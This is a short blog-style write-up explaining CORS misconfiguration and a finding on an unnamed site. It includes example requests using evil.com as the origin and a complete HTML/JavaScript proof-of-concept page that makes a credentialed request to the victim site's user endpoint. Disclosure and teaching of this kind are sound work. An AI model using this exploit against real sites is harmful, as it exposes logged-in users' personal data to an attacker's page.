CORS Misconfiguration Leads To Steal Sensitive Information Disclosure
Hello everyone, today I am going to share CORS misconfiguration can leads to sensitive information disclosure.
Let’s start with Cross-origin resource sharing(CORS).
Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the same-origin policy. However, it also provides potential for cross-domain based attacks, if a website’s CORS policy is poorly configured and implemented.
The CORS protocol uses some HTTP headers that define trusted web origins and associated properties such as whether authenticated access is permitted. Many modern websites use CORS to allow access from subdomains and trusted third parties. Sometimes because of mistakes of developers attacker can use the misconfiguration to exploit the vulnerability.
The Origin HTTP request header is specifies whether request can be made from that domain or not:
Ex:
GET /sensitiveData HTTP/1.1
Host: vulnerable.com
Origin: https://evil.com
Here the Origin Header is set to https://evil.com. It implies that whether vulnerable.com is allowed to send the sensitiveData to https://evil.com.
For the validation, server respond with some special HTTP headers to confirm whether the request from https://evil.com can be made or not.
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
...
Above you can see that server allows https://evil.com to access the content This header specifies which origins can access the resource.
The above two headers: Access-Control-Allow-Origin & Access-Control-Allow-Credentials confirms that the website vulnerable.com is vulnerable and can be exploited by the attacker.
That was more of the theory part. Now let’s jump into the vulnerability I found on one of the web application:
In the application the user details can be extracted easily using the CORS misconfiguration. After saving the profile the API was called and the information was saved. But the Origin header was also sent with the HTTP request and the server also respond with the two header as discussed above. I changed the origin header as given below:
Origin: evil.com
The server respond with:
Access-Control-Allow-Origin: evil.com
Access-Control-Allow-Credentials: true
I immediately created a working POC for exploitation. Below is the HTML code needed to prove that attacker can extract information by just sending below code to the victim. For not disclosing the web application let’s call the website as redacted.com
<!DOCTYPE html>
<html>
<head>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById(“demo”).innerHTML = alert(this.responseText);
}
};
xhttp.open(“GET”, “https://redacted.com/auth/user”, true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</head>
<body>
<center>
<h2>CORS PoC Exploit </h2>
<h3>created by <a href=”https://twitter.com/aman__gupta_">@aman__gupta_</a></h3>
<div id=”demo”>
<button type=”button” onclick=”cors()”>Exploit</button>
</div>
</body>
</html>
Save the file as cors.html and open it in the browser. As you can see sensitive information like email, username, id are disclosed in a response.
Resources:
https://www.youtube.com/watch?v=wgkj4ZgxI4c
Thanks for reading.
Feedback and suggestions are most welcome!!
Twitter: https://twitter.com/gupt4j1
